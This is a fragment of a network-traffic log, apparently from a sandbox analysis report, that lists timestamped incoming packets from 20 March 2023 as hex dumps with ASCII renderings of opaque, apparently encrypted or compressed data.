2023-03-20 10:38:24 UTC	66	IN	Data Raw: f3 a7 18 1f e8 3d 4e 13 27 5b b9 bc ae 2e 6c f8 9a 7c ed 10 8a 93 52 74 49 8f a8 55 8b 62 ae 1e 88 53 0c 0f cc 3d 8f f7 ca 09 92 07 cf 39 7f 17 28 d5 bb 5e fd 50 f1 ca 22 7a dd 79 09 fc eb d1 8e 2f 6b 36 7b 12 bb 9f 9d f3 8b c1 67 e7 f6 e3 19 1f 06 2f cb 5f 78 81 7e f5 f9 da 83 25 35 73 45 56 4d 95 33 a0 6f 26 c1 f0 05 ba 8b 65 40 7a 9c 6a 2d e7 cb 4c d3 a0 d6 a3 8e f7 87 03 e4 d6 6c a5 2b 85 39 c9 2f f8 2e 5a 90 7e 7a 1f a2 ed 49 29 f0 69 67 7c 46 f8 9f 8d a8 81 4e 27 11 19 a6 57 44 81 09 f2 ed fa 9e da 78 55 24 85 d4 8d 88 86 29 ee 6c 7d 26 47 f2 c6 ad 7d 79 41 00 35 a2 b7 02 75 ea 15 92 e6 78 ed 18 25 0c b5 c2 ba 9d 60 5e 28 e9 79 13 4a db 4b 06 e6 53 ca 73 4d de 1c da 2f fc a1 7f b1 18 d0 ef f3 7e 25 3d cd 81 4d af 4f 32 7c 82 3b e9 62 e4 1d 9e dd 86 Data Ascii: =N'[.l\|RtIUbS=9(^P"zy/k6{g/_x~%5sEVM3o&e@zj-Ll+9/.Z~zI)ig\|FN'WDxU$)l}&G}yA5ux%`^(yJKSsM/~%=MO2\|;b
2023-03-20 10:38:24 UTC	68	IN	Data Raw: 9c f8 dc ed 5c b5 57 cd 3b b7 a2 ac 54 c9 a5 16 1c ad 9d e6 94 cd fa 26 48 c3 4e 8a 9a c8 01 23 9d cf ee 95 18 ce 7d 4b 2d d4 fe 2a dd b6 9f 0e aa 60 43 f0 a1 a5 76 32 22 86 b4 09 15 67 4a 48 d1 7b 8c 0d d4 a2 8a 23 9d c4 4e e5 60 93 e2 30 98 29 17 a4 71 f6 fe 60 cf 35 37 f7 7c f1 95 7c 0e 82 4c 3f ae a4 12 1e 0e f6 af 43 0a d9 15 c2 9b b4 cf e5 b1 4d 21 22 57 45 30 3a 63 0b 7b 39 1f ef 94 a6 ae 34 f7 a3 f3 5a 8c 11 70 94 9f 3b d4 1c 38 0c 5e 0b 1b 29 ae af 30 82 fa 28 66 1d 20 ba 81 4b 20 75 61 f2 43 af e0 f7 29 55 b5 9f 51 ee 65 2a d9 3b 3e bf aa e4 67 11 23 f2 05 a5 e7 df 73 c5 7c 07 bb 57 f6 8a 4a 6c 0a d9 40 bf 99 44 70 ec 06 1a 11 83 07 65 fe 65 13 e4 a5 ee 7d 93 84 4c 7a e4 8b 03 40 fa 23 b0 fe f0 18 7a 69 1e 58 d0 25 ee 29 e2 b7 fb 99 04 5e 2a ba Data Ascii: \W;T&HN#}K-`Cv2"gJH{#N`0)q`57\|\|L?CM!"WE0:c{94Zp;8^)0(f K uaC)UQe;>g#s\|WJl@Dpee}Lz@#ziX%)^*
2023-03-20 10:38:24 UTC	69	IN	Data Raw: f2 a0 e2 ca 11 06 82 bb 8f 22 0e fa 15 fa 3f c2 65 aa 9b be 09 41 ff 8b 6e fe 05 e0 86 90 48 5f a7 7b 55 8a 68 bd 36 99 7b d5 36 2b 13 95 e2 cb 22 82 16 db 10 bd 17 01 ee f9 4d e1 79 dc cf 30 6e cb 6d 09 82 7c cf 8e 2b 77 23 0f aa ee 9f e8 da cd c1 a0 f6 de b7 15 1f 07 40 56 5e 7d 8a 7e e4 31 a8 51 79 38 03 6a 10 5a 95 39 89 3b 27 a2 f2 88 10 86 65 4c 04 1d 6a 2d e2 a5 db ff 89 e5 f8 26 f6 8d 09 f8 a8 fb a4 2b 81 fe 08 df de 53 72 9c 7e 65 34 a1 82 2a 28 1f 4a 2d 6e 4b fe be 8d 88 9a 7e 22 01 f0 79 7d 7b e5 04 f2 f7 fa c5 db 7b 54 2e 8e 20 e7 06 87 68 e4 51 7d b4 6f 6a c6 ad 77 f8 55 8e 5c b7 b8 32 75 74 1e 99 f0 7f e4 7a 55 24 a5 ce ba a4 60 db 2c 14 6d 3a 4a 53 4c 14 e3 ec df 63 4d 78 1e cd 0b ea dc 9e b5 18 d4 f0 f6 40 58 0d cd 80 48 ad 4a b8 c5 b0 72 Data Ascii: "?eAnH_{Uh6{6+"My0nm\|+w#@V^}~1Qy8jZ9;'eLj-&+Sr~e4*(J-nK~"y}{{T. hQ}ojwU\2utzU$`,m:JSLcMx@XHJr
2023-03-20 10:38:24 UTC	70	IN	Data Raw: a0 46 43 a0 a7 04 98 73 f8 ca e1 53 8a 3a e0 2d b7 89 c9 39 cb a4 14 84 a7 72 e1 95 cd db 3e a7 c3 4f aa af c0 ee 27 9c cf 26 96 f7 ce 7b 44 86 d0 93 29 8b 36 2a 10 c0 63 15 77 77 a6 1c 36 24 86 6d 1b 78 65 4c 48 bf df f6 0f d2 a2 7e 3b 60 c3 48 c4 b8 67 16 36 9e 51 be 09 07 fe f8 48 55 55 df f0 7d b3 99 92 7c 8a 4d 98 f2 24 74 17 0f 0e 88 1e 64 d0 14 7c 48 10 ad ec b0 21 fd ad 28 49 31 02 d9 bd e9 30 1e 6f c3 ab 26 25 f1 bd c5 a4 7b 1d 76 83 82 bc 18 08 3e 21 a8 f7 d1 21 a8 3b 5d 1f 51 21 60 88 d1 d8 43 43 26 c6 90 9d b9 a5 e6 52 e2 3b 4f 95 57 e7 a8 44 23 2d 38 2c 6c 0b ad 19 25 69 14 e0 1d d5 72 3c ad 4f 7d 5f f7 40 76 16 dc d0 41 47 1d 0a fc e5 07 ce 7f f1 7f 6d ff 35 f3 a7 6e e6 7c 42 b0 02 89 ee 8a ca b1 65 d7 df ff 24 a7 6f 86 14 59 f5 c9 1d d0 e8 Data Ascii: FCsS:-9r>O'&{D)6*cww6$mxeLH~;`Hg6QHUU}\|M$td\|H!(I10o&%{v>!!;]Q!`CC&R;OWD#-8,l%ir<O}_@vAGm5n\|Be$oY
2023-03-20 10:38:24 UTC	71	IN	Data Raw: 95 62 51 53 db c2 32 68 65 e2 e0 c7 4d ba f2 96 22 a6 db 15 9c 13 27 47 aa 18 8c 36 40 e2 8b c6 c6 05 8a b8 74 73 5a 19 41 66 8a 75 bd c2 a1 7b 20 08 dd 3f 9c fe 8a 1b 81 09 db e5 95 17 28 df a8 66 ec 27 fb f6 32 4d ce 98 31 82 73 d1 8e 3a 7a 8b 26 93 e6 b8 ed 63 f4 c1 67 ed de a6 18 58 36 01 47 75 78 0b 44 e4 ec a8 51 6f 35 1f 41 5a 4c ba 39 30 00 27 c1 f6 85 3b 8b 90 6d 55 05 58 2d db 89 db d3 a0 d2 da 03 f9 ab 58 e5 9c fb 41 17 81 4b 2f 73 ee 5e 6c a6 29 7b 02 a0 ea 17 28 f0 6f 6d 41 46 b0 84 da a9 ac 7e bf 2c f0 a6 57 44 f3 09 7c ce ad e1 ed 79 95 13 8e d6 fe 06 91 29 29 5e 2a 25 59 68 22 90 77 74 48 8e 4a 8a d7 2d 22 e1 28 9b d8 41 e4 96 4c 24 b3 c3 be d7 37 4d 1a 17 6c 05 4a db 49 14 f5 ad d6 61 1a df 28 c8 2a d5 dc e6 b1 18 c2 fd d4 4f 0f a6 fb 81 Data Ascii: bQS2heM"'G6@tsZAfu{ ?(f'2M1s:z&cgX6GuxDQo5AZL90';mUX-XAK/s^l){(omAF~,WD\|y))^%Yh"wtHJ-"(AL$7MlJIa(O
2023-03-20 10:38:24 UTC	73	IN	Data Raw: 35 5f 2a 92 ed 05 88 8f ab 2d b6 a7 26 a2 9c 78 dc f0 7c 31 44 f8 39 c5 a2 f2 34 c9 a5 14 1c ab 95 fc 8c d2 f8 46 48 83 2e aa 9a c8 01 21 95 e6 f6 8b 1a ba 7d 3a 4d d4 fe 2b dd b0 97 c3 b2 7f 41 82 a1 15 16 35 22 86 b4 0d 1d bd 52 57 d3 b4 9c e4 b4 a2 8a 23 9d c4 46 94 4f d1 f9 41 98 51 6c 0d 6a fc fe 4e f7 19 39 fb 7c c4 8f c9 74 88 4c 98 a7 25 0c 40 2a 2b a6 50 1f 23 74 7c 82 27 d3 ee b1 ad 1d bc 43 31 30 3a 0c 90 6d 33 1f 6e b0 70 a7 12 f5 c6 d3 59 cf 1f 70 83 80 b1 cf 95 29 2b 44 8d 06 c9 8f 3b 29 3e d8 44 65 0d 31 d4 94 3d 20 d2 09 96 56 a5 e0 53 01 50 a0 9f 51 9b 76 4e cc 2d 3e 2f b5 18 62 53 38 ab 0d bd f2 d5 73 3c 5d 49 aa 1b f5 1d 48 31 1d ad 40 47 99 15 75 e5 06 88 07 b4 1b 29 fc b6 1c a1 b9 e4 7d 41 8b 4f 65 8c 82 ef 4f f4 38 97 df 24 04 7a 69 Data Ascii: 5_-&x\|1D94FH.!}:M+A5"RW#FOAQljN9\|tL%@+P#t\|'C10:m3npYp)+D;)>De1= VSPQvN->/bS8s<]IH1@Gu)}AOeO8$zi
2023-03-20 10:38:24 UTC	74	IN	Data Raw: 31 78 b4 29 97 2d 6b 94 7b 51 53 cd c2 6c eb 5a f4 13 11 eb 2b f3 8c 22 0e ec 15 57 28 18 51 79 9b bf 09 40 ff 0b 6e ef 25 d4 ba 30 66 89 a7 3a e8 8b 68 bd 36 8f 7b 33 27 f8 2d 46 e2 32 9f 80 16 db 11 bb 17 b0 f5 97 77 37 79 a9 0d 33 6e ce 6c 1f 82 6f fb 98 2a a1 23 e9 68 e7 9f ed db db c1 9f de 89 b4 c4 1f 60 84 46 5e 78 8b 68 e4 98 84 ba 79 eb 03 71 d7 4d 95 39 88 2d 27 5a c8 ba 2d 55 65 10 cc 04 6a 2d e3 a3 db b9 86 ed cc dd f6 d3 c5 e4 a8 fb a5 3d 81 28 01 4c f8 80 72 ff ae 7a 34 a0 82 3c 28 7a 45 86 57 98 fe 1d ac a8 9a 7e 23 07 f0 78 7f 7b e5 d7 f2 94 2b e0 db 79 55 3f 8e 0e cd 68 86 f7 e4 c8 5c 24 6f 68 c6 bb 77 9d 74 b1 5c 55 b8 cb a4 e0 1e 9b f0 6e e4 d5 78 4a a4 1c ba 17 b2 4c 2c 17 6c 2c 4a 98 61 02 e2 4d df 1a 9e de 1e c8 2a fc dc 8e 98 f3 d4 Data Ascii: 1x)-k{QSlZ+"W(Qy@n%0f:h6{3'-F2w7y3nlo#h`F^xhyqM9-'Z-Uej-=(Lrz4<(zEW~#x{+yU?h\$ohwt\UnxJL,l,JaM
2023-03-20 10:38:24 UTC	75	IN	Data Raw: 37 d5 aa 2a 69 94 f9 ab d9 e3 80 c4 97 0d bc a9 43 b6 a7 20 aa 32 fe 11 e2 55 b4 c8 c1 3b b7 a2 fa 52 c1 c8 12 d5 ae 97 e0 3d ee fa 35 48 c3 48 a2 e4 ce cc 24 97 ce 5c b7 18 ce 7d 42 2b dc eb 2d 14 b5 94 12 16 43 43 f7 a1 a5 70 3d 0f 80 79 08 1e 66 8f 6b d1 c2 9c 0c d2 aa db 25 54 c1 42 c5 a3 65 f9 36 98 51 0b 05 35 fa 33 4b e3 50 fa d2 7c b3 8f a9 04 90 02 83 98 24 01 15 0e 0e a4 27 9f d3 03 5c 36 11 d4 eb bc 20 39 92 41 4b b0 02 79 b0 57 05 13 6b be 82 87 28 f6 bd d3 b5 bd 1f 67 b9 92 b4 df 0b d8 2f 45 f1 06 23 b8 3b 3f 16 c2 26 74 89 3d de 94 41 a0 c6 7b b6 57 9a fe 56 1b 30 a8 9a 50 e7 76 4e da 2d 1c 17 96 1a 69 1a 9f 7b 0d c1 f2 d5 65 3c 03 76 bc 5c e2 41 91 1b 1e d3 40 47 8f 15 c2 d6 2e ca 11 e6 12 6f fe 35 1f a1 bf fc 35 59 49 08 7e ef 8b ca 4d 71 Data Ascii: 7*iC 2U;R=5HH$\}B+-CCp=yfk%TBe6Q53KP\|$'\6 9AKyWk(g/E#;?&t=A{WV0PvN-i{e<v\A@G.o55YI~Mq
2023-03-20 10:38:24 UTC	76	IN	Data Raw: 28 a4 fc 35 a0 a1 f3 33 47 06 da 97 d5 d3 94 cb 48 53 db c0 32 f1 74 f4 c0 10 77 04 d7 8c 22 0c fa 4d 8c 13 27 50 aa 3a ac 09 40 fd 8b ab f2 05 8a bb 74 ff 5d a7 7a 51 8b df b8 36 99 7a 20 a9 ce 2e 9c e0 ca dc 88 16 db 12 ad 6a 3f df a8 73 ec ed f9 cf 33 6f ce cd 1a 82 73 d0 8e c4 68 23 09 ab e7 70 ff db cd c0 67 02 cc b7 18 1e 00 af 54 5e 78 8a 7e 1a e4 a8 51 7b 35 7e 7a 10 4d 96 39 1c 1f 27 c1 f7 85 e8 98 65 44 05 04 ef 25 e3 b5 da d3 b1 f2 cc 03 f4 87 a3 e3 a8 fb a4 2b 7f 43 2f 73 fa 5e 0f 80 7e 7a 37 a0 16 0e 28 f0 6b 6d 40 55 fe b5 88 a8 4b 72 23 11 f1 a6 c3 60 e5 09 f0 fc 48 c0 db 79 54 2e 70 de fe 06 85 29 99 77 7d 24 6c 68 52 89 75 74 49 8e 77 ac b8 23 77 e0 16 aa f0 5f e7 96 aa 13 a5 c3 be 97 87 75 2c 17 6d 3a bb ea 49 14 e1 ad 44 75 4d de 1f c8 Data Ascii: (53GHS2tw"M'P:@t]zQ6z .j?s3osh#pgT^x~Q{5~zM9'eD%+C/s^~z7(km@UKr#`HyT.p)w}$lhRutIw#w_u,m:IDuM
2023-03-20 10:38:24 UTC	77	IN	Data Raw: de be 21 35 6c 2a 30 14 d5 ae 2a 7e 81 f1 35 da 2a 52 c1 96 9b 9e a9 6f b3 a7 26 a0 9c 3e fc e1 5c b6 57 50 1b b7 a2 fb 54 e5 a0 14 1c af 9d 27 b4 cd fa 36 48 68 6d aa 9a c9 01 69 ae cf ee 95 18 ea 4d 42 2d d5 fe 55 f7 b6 9f 12 aa 7d 70 f7 a1 a4 76 8d 1e 86 b4 0a 15 fb 48 48 d1 c3 9c aa e2 a2 8a 22 9d f8 74 cb 6c 17 f9 22 98 00 0d ac 6a 79 f2 42 ef 98 22 b9 67 54 8c 78 15 c0 57 92 a7 fd 0c 5c 15 ed a0 ce 1f 9b 0e 98 80 d6 d3 a7 aa c5 3b 6b 41 03 2b e6 6d 91 6c 7b 04 8b b2 8a ae 6e ec 59 d1 a4 ad 57 6b 67 82 a9 ce 42 23 10 41 d0 07 6b b5 df 2b 17 d9 6a 7d 6c 3f ef 95 09 3b 22 6f d7 57 ed fb e7 0c 78 a1 dd 4a 33 73 17 cd 65 25 26 b5 7f 7b 53 38 63 0c a8 f3 9d 68 36 5d 3b ab 15 ed a4 43 71 1e 9b 5b 7f 9f 94 74 ae 1d c4 04 6e 13 27 e5 3f 1c 30 b8 ac 66 48 8b Data Ascii: !5l0~5*Ro&>\WPT'6HhmiMB-U}pvHH"tl"jyB"gTxW\;kA+ml{nYWkgB#Ak+j}l?;"oWxJ3se%&{S8ch6];Cq[tn'?0fH
2023-03-20 10:38:24 UTC	79	IN	Data Raw: cf 11 ed 63 5b f5 9f 61 b8 8a e8 8d a5 e2 34 a3 b6 fb 93 fa f2 70 79 50 57 d2 e6 d6 ea 6c f7 88 0a 17 9b f2 88 18 11 86 19 ad 17 6f 4a 28 97 f3 09 51 f9 1f 62 f7 01 c2 a3 90 67 53 a3 7b 40 ba 6d 3c 34 7b 62 ba 04 d4 2a 88 c0 2d 21 89 12 6d 0c 32 1b 21 db de 70 4a 75 dc cb b6 62 c4 6c b0 81 2f c4 42 27 13 27 e2 b6 35 93 9c df 87 de f0 ed a7 b3 70 00 31 43 bf 5f df 94 a6 e8 fd a8 57 6f d5 0f ec 14 d3 8e df 84 5a 23 b7 e4 0b 2d ea 61 2d 24 8a 6a 64 e7 fd c0 3f ac 83 c8 4b ed 6b 05 bd ac f3 ac d9 8d da 2b 3b e3 b2 7e ce 7a 6b 22 5b 8e a3 2c 5d 7f 89 55 3f fa b0 a8 a0 97 d7 21 27 ed 90 54 ed e7 28 ff 92 fb d1 df 31 4e ca 8c af fa 27 8a 12 e9 11 7d 36 7d ff c6 dc 77 0f 4f cf 51 23 b8 4b 6e 22 1f 3a f4 37 ff db 41 85 a1 3c 9b 9d 60 6d 2f 8e 4c 19 41 42 4d 5c f8 Data Ascii: c[a4pyPWloJ(QbgS{@m<4{b*-!m2!pJubl/B''5p1C_WoZ#-a-$jd?Kk+;~zk"[,]U?!'T(1N'}6}wOQ#Kn":7A<`m/LABM\
2023-03-20 10:38:24 UTC	80	IN	Data Raw: f3 25 db ac 73 3e 74 f7 be d1 36 33 83 1a 14 21 aa 4e 6b 90 f1 44 de 91 82 c5 96 37 9e c7 40 be a7 96 a3 ef fb de e1 c1 b6 ec e3 12 b7 01 fa b0 cc 8b 14 0f ad 26 e5 ba cd e1 35 8c c7 60 aa b9 c8 e8 23 b3 cf c5 94 ea ca 53 42 1e d4 ed 2e f3 b6 a4 13 b9 65 6d f7 e2 a5 84 31 0c 86 ff 0b 0c 62 64 48 82 c2 8f 09 fa a2 d1 23 8e c7 60 c4 0f 46 cf 33 b6 51 66 0d 0a f9 d0 48 9c 51 4f f4 3c b3 04 a9 7b 8b 0c 98 24 24 d7 11 4d 0e df 27 a4 d6 56 7c 01 27 08 ea f8 21 9a 92 b4 4e 53 02 14 90 d6 36 7c 6f 33 83 74 23 9e bd 70 b5 a5 19 f0 83 0b b0 a1 09 bb 21 d7 f1 68 20 2d 3b b2 3e b6 21 e5 88 46 de 2f 44 a9 c6 ce 96 40 a3 40 52 82 31 ce 96 f2 e7 f5 4e 17 28 9d 2c 1e 1e 3a 1d 8a 69 af c1 d6 d3 b3 3c d6 4a c4 5e 37 40 f2 08 71 d0 83 47 1a 15 ae e3 c5 ce af e7 8b 69 1e 35 Data Ascii: %s>t63!NkD7@&5`#SB.em1bdH#`F3QfHQO<{$$M'V\|'!NS6\|o3t#p!h -;>!F/D@@R1N(,:i<J^7@qGi5
2023-03-20 10:38:24 UTC	81	IN	Data Raw: 4e 00 10 98 38 a7 55 a5 a7 58 2b ec f4 f5 2b 60 db 5f ac cf f0 d2 60 0f fa f9 d6 d2 bc c0 51 3d d8 e2 1a 53 65 9a c3 51 5f 2b f3 e2 21 6e d2 ae 9c 7d 24 d1 82 20 bf 67 43 5f a3 d5 fe 6b 89 78 5c de 5a c9 79 b5 a3 d3 bd 58 9a 7b 09 b3 dd 40 9f c2 e3 99 80 78 d8 51 84 ac 28 b1 ab 17 c5 c2 dd a1 30 ee e7 d7 09 ec 70 71 a7 90 Data Ascii: N8UX++`_`Q=SeQ_+!n}$ gC_kx\ZyX{@xQ(0pq
2023-03-20 10:38:24 UTC	81	IN	Data Raw: 7a 4d 0a 6a ce 24 ed b5 ce 21 4e 56 de d9 1b 1f 2a fb 46 30 7b ab 54 5f ec c6 52 39 1f b8 6d 7e 4e 35 14 33 3b 49 c2 36 a8 96 8b 0b 47 e4 29 d1 2d 8d b6 db fd 1b d2 a2 00 d6 a9 b2 e4 c6 f8 e5 05 3a 4b 41 70 d7 5e 51 96 4b 7a 05 a1 b5 2a 19 f1 fd 6d f6 47 5f b5 2c a9 2c 7e 82 10 e3 a7 f6 45 f0 08 53 fd e5 e1 7a 78 7e 2f 2f d7 c9 07 26 28 e5 60 77 24 6f 68 eb ad 76 74 43 8e 5c 8a 96 03 74 e0 3e 9b f0 7f cb 96 fb 2c 19 cb 7b 9f a6 44 e7 1f bc 32 54 d2 6e 1d c8 a4 ef 53 79 d7 24 c1 65 e3 b7 ef c8 11 aa f4 6e 70 c5 ae 0f 88 ad b4 b9 32 f8 e1 5a 78 4c ee 4e 86 a0 9e 38 37 97 9f 30 46 fb 19 c4 41 2f c1 41 aa d3 3b d1 19 17 41 e4 65 84 16 fd a3 e8 99 af 21 c3 5e 22 0d c8 61 86 c1 55 f1 cd 5a 50 ed 0d 5d 58 21 1a 7c b0 78 63 d3 be d5 56 45 8e af 00 32 1d 14 c9 95 Data Ascii: zMj$!NVF0{T_R9m~N53;I6G)-:KAp^QKzmG_,,~ESzx~//&(`w$ohvtC\t>,{D2TnSy$enp2ZxLN870FA/A;Ae!^"aUZP]X!\|xcVE2
2023-03-20 10:38:24 UTC	82	IN	Data Raw: 93 22 db 97 99 5c 8e 48 5d 6d 7f 1f ed 69 8c 12 0c 76 6a 30 ff 49 ef 12 23 8c 7c b2 90 a8 15 cb 4d e7 a7 64 08 15 0e 0e a5 e2 1f fa 36 7e 82 27 d2 28 b1 cb 1b 90 41 0b 31 cb 6f 95 6a 30 1f 2c b1 48 af ef f2 bf d3 f6 ad d2 70 da a2 b4 cf 0a 39 ee 44 8d 25 21 ae 3b 28 ef d8 c6 6a 8a 3d de 95 92 20 fc 49 94 56 e6 e1 7d 08 ee a1 91 51 a4 77 7f cd b1 1d 28 b5 5d 7b 28 22 e1 2f c5 f2 96 72 61 5c 32 b3 58 f6 03 40 57 1e 88 59 42 99 56 74 87 07 a0 21 e2 12 2c ff 56 1d 21 9c e1 7d 01 8a 6c 67 b1 af cf 4d 32 39 b8 ff 4b 20 7f 69 57 59 9c 2a f4 1e ed b7 ba 97 9e 49 fd 9b 23 cd 1a 07 13 e3 3b 0e 42 fb 28 89 b8 5d c4 44 af cd f2 fa fb ad c4 ff bf ab 03 23 24 9d 53 e1 b7 fe 57 73 b2 e1 2f dd c2 56 a5 7e 1a 93 21 89 cd 9d a2 a0 94 0c 0d 12 d1 b1 0f e5 cd ae 8a ed 4d 2d Data Ascii: "\H]mivj0I#\|Md6~'(A1oj0,Hp9D%!;(j= IV}Qw(]{("/ra\2X@WYBVt!,V!}lgM29K iWY*I#;B(]D#$SWs/V~!M-
2023-03-20 10:38:24 UTC	84	IN	Data Raw: b3 8b 41 e1 93 8e d8 e8 81 88 6e 7e 56 76 99 cd 2a ff 76 39 2c 98 dc a9 90 e5 1c 78 53 d9 df a6 47 ee c4 77 03 2a 53 4d 7a 86 35 f8 8c 2e 49 38 e3 0e 26 44 cb af b2 8a 39 1c 30 78 26 91 cc da 6c 4d a3 a7 4f 61 28 68 81 88 bd a6 6d 90 d2 74 de ca 77 a0 e1 48 69 b1 2b 6d 1b 09 b8 b5 d4 ee dd 39 60 47 89 d3 31 23 91 7e 94 85 8f b4 9c 3f 02 7a d8 90 bf 53 de 7f a2 60 59 6d 6f 0f a3 d9 28 35 1b cd 15 c3 b8 de e8 0f a1 26 3e ee 2e 3c 06 24 61 5a 7c 0d af e7 fc 92 27 3a a5 64 f4 d0 7a 75 7c b5 f2 63 55 c8 4d 8f a8 b9 e4 4a 98 fd 85 1c 2c f8 98 d3 05 bd 2d 5e 86 b4 20 1d 10 89 4a f9 ba f9 d9 49 07 c7 a1 4c b2 77 cc 15 da a5 8b cc 4a 45 68 7f 60 39 93 3b f8 1a 12 ec b5 cd cc 78 db 12 24 54 fd 29 5e 98 d5 bf 5b 03 f1 a4 bb 13 07 7f 73 37 d9 29 77 92 9c 9e 77 02 4e Data Ascii: An~Vvv9,xSGwSMz5.I8&D90x&lMOa(hmtwHi+m9`G1#~?zS`Ymo(5&>.<$aZ\|':dzu\|cUMJ,-^ JILwJEh`9;x$T)^[s7)wwN
2023-03-20 10:38:24 UTC	85	IN	Data Raw: 62 71 67 39 2d a5 9d fb 79 bd c6 8a 74 f8 a9 2f af 09 2d 98 5d fc 51 6a 68 1e a3 8e 29 9c 22 55 9e 0e d7 c9 c0 70 e4 28 98 d4 41 78 4b 7e 6f d7 54 68 bc 67 18 c4 4e b6 83 d5 21 5e f7 35 14 45 71 0a e2 03 52 72 0a f6 ea ca 4a 93 bd a0 d0 d8 40 05 f0 e5 c2 a1 6b 55 44 02 98 63 4f ca 3b 5b 5b bb 4d 14 ec 62 b6 f1 20 44 a3 1f c9 30 cc 85 3e 6d 31 f2 f0 30 83 22 21 89 43 5a 2c e6 7b 14 7f 23 28 7c b1 97 bb 17 3c 0f 2f cd 34 85 34 33 71 49 b2 2c 32 fc 5e 1c 88 62 ce 56 88 67 01 9a 35 54 ec d6 80 7d 31 ee 7d 39 a3 ee be 25 1e 5c df aa 45 76 1d 0c 60 15 90 5f 77 50 8c b7 9e f3 81 17 63 d6 4f bd 3e 69 9b 90 46 0b 07 97 47 fb 74 1c 7d 09 d8 af de 9a 22 cb db af ce ce 2d 61 f9 f6 c2 a7 df 9f 25 16 55 84 90 ad 9f 1d c0 06 91 fe c0 f2 ab 9d 85 c4 0b 51 89 74 a0 c2 38 Data Ascii: bqg9-yt/-]Qjh)"Up(AxK~oThgN!^5EqRrJ@kUDcO;[[Mb D0>m10"!CZ,{#(\|</443qI,2^bVg5T}1}9%\Ev`_wPcO>iFGt}"-a%UQt8
2023-03-20 10:38:24 UTC	86	IN	Data Raw: 9e 16 a9 a0 50 01 a2 38 70 f2 16 d1 dd 6e 39 6a 7d cf 8a cb 94 ab a8 c1 20 88 aa e3 61 6f 65 40 2f 2a 1d e6 21 90 95 d8 34 79 7a 73 08 7e 1e fd 58 fa 5e 27 82 99 e8 5d ea 17 21 04 47 0b 5d 97 c0 a9 b6 a0 91 a3 6d 85 e8 65 81 e9 8b d5 47 e8 28 4e 07 91 31 1c d5 1f 09 51 a0 c3 5a 58 9c 06 0e 36 32 97 da e3 fb ff 0a 57 78 9e c1 24 06 84 7a 97 fc b6 a3 ba 0a 30 2e e9 b3 8a 59 d5 4c 97 10 12 4a 1c 0d c6 fa 12 16 1a eb 2f fa d7 6d 06 85 1e dc 95 0b b6 f3 3f 54 ca ad c9 f2 60 0a 45 7b 09 79 26 b4 3a 71 e3 e9 b6 29 3d b1 6d ad 2a b9 a8 94 e3 7d a2 98 84 0a 3d a7 8e f3 2c dc 3e 5e f2 af 0a 3e 24 91 77 ef ac fd df 53 16 f0 81 29 a6 73 cc 2f bc 87 8c cd 6d 59 69 73 7a 39 82 0c d8 7f 37 ce 93 f1 9c 67 e1 2a 35 65 d9 09 77 ad e8 99 1a 13 d1 8c 81 37 2f 5b 5e 33 f8 0f Data Ascii: P8pn9j} aoe@/!4yzs~X^']!G]meG(N1QZX62Wx$z0.YLJ/m?T`E{y&:q)=m}=,>^>$wS)s/mYisz97g*5ew7/[^3
2023-03-20 10:38:24 UTC	87	IN	Data Raw: c7 c2 02 42 44 ff c1 5f 52 21 1d 1c 87 84 dd 59 8d f4 cc 0d f8 ba 2b c4 0f 24 aa 5f e2 34 0d 6a 0f 88 a1 1c 80 25 43 9d 2f da f5 cc 15 cc 29 eb c2 56 65 75 62 67 de 42 1f 9a 7b 15 f6 4e b2 83 d8 5b 5c 92 12 3e 40 72 1d f5 1e 40 59 06 de e2 c3 4f 8d d8 d3 c6 c5 65 15 83 d3 d9 b5 6f 77 47 44 96 63 57 f1 72 5d 5b b5 6d 00 88 71 bf e7 35 69 a8 09 f3 2e ea 86 52 6a 53 f4 f4 36 e7 06 2c 98 4c 59 2c c1 7f 1d 1b 42 05 6b c1 a1 ac 00 48 38 27 84 09 9e 32 24 69 7b ba 2e 20 99 66 10 92 59 9e 65 83 76 06 90 52 1c ef dc 93 31 23 ff 6c 24 87 e5 ae 24 1f 5f df ab 70 42 42 2c 7a 3b 9a 4f 76 51 8f b7 9e f3 81 17 65 d4 45 a2 38 6f 94 85 22 4c 21 8f 6d e6 72 30 75 09 c6 aa b1 b2 3e c6 af 89 df c7 2a 58 f0 dc d3 b5 c4 97 38 1c 19 8c 92 be a9 38 c2 7f a0 e8 d2 f4 aa f0 cc f3 Data Ascii: BD_R!Y+$_4j%C/)VeubgB{N[\>@r@YOeowGDcWr][mq5i.RjS6,LY,BkH8'2$i{. fYevR1#l$$_pBB,z;OvQeE8o"L!mr0u>*X88
2023-03-20 10:38:24 UTC	89	IN	Data Raw: 65 d9 67 5a ba c9 1b 81 79 8f ae 5d 0a a1 01 09 f1 16 a5 d1 6d 08 4c 64 aa a1 f0 9f b6 cd 88 24 9f a7 c7 6c 70 54 32 27 30 0b ed 11 96 81 a8 14 17 40 6e 6d 62 22 fa 4d d7 55 52 ac f6 76 a4 0d d0 ab bb b9 af b7 8e b5 99 bc cf be a9 62 98 87 5a a1 eb b2 d1 4e ec 07 4a 1d f8 37 1c db 1b 14 34 c7 e7 5e 77 a3 0c 1f 32 23 90 b5 ce c7 ea 07 65 63 9f cb 04 27 97 6c 97 92 fa a6 b2 15 30 61 fe b3 90 06 d4 50 97 14 18 49 41 2b a9 c0 07 1b 26 eb 32 fe f5 6c 11 85 72 b5 b4 1a 97 ff 2b 4a a5 8e db fe 0e 4c 66 78 05 54 4a bc 2c 60 bc e2 8c 0c 28 ac 6d a1 45 84 dc 82 c6 51 ba 9b 99 2f 3d d5 be e8 26 d3 4a 5c 97 9f 19 04 07 96 6a e5 b7 fa b0 4e 37 e1 b2 3a a4 60 cb 23 d3 a4 f9 e2 76 5e 7c 77 7b 3e af 06 da 1a 11 df 97 f8 f5 4f e5 27 18 6f db 6c 43 b5 ef 88 7f 3a 9a a3 8b Data Ascii: egZy]mLd$lpT2'0@nmb"MURvbZNJ74^w2#ec'l0aPIA+&2lr+JLfxTJ,`(mEQ/=&J\jN7:`#v^\|w{>O'olC:
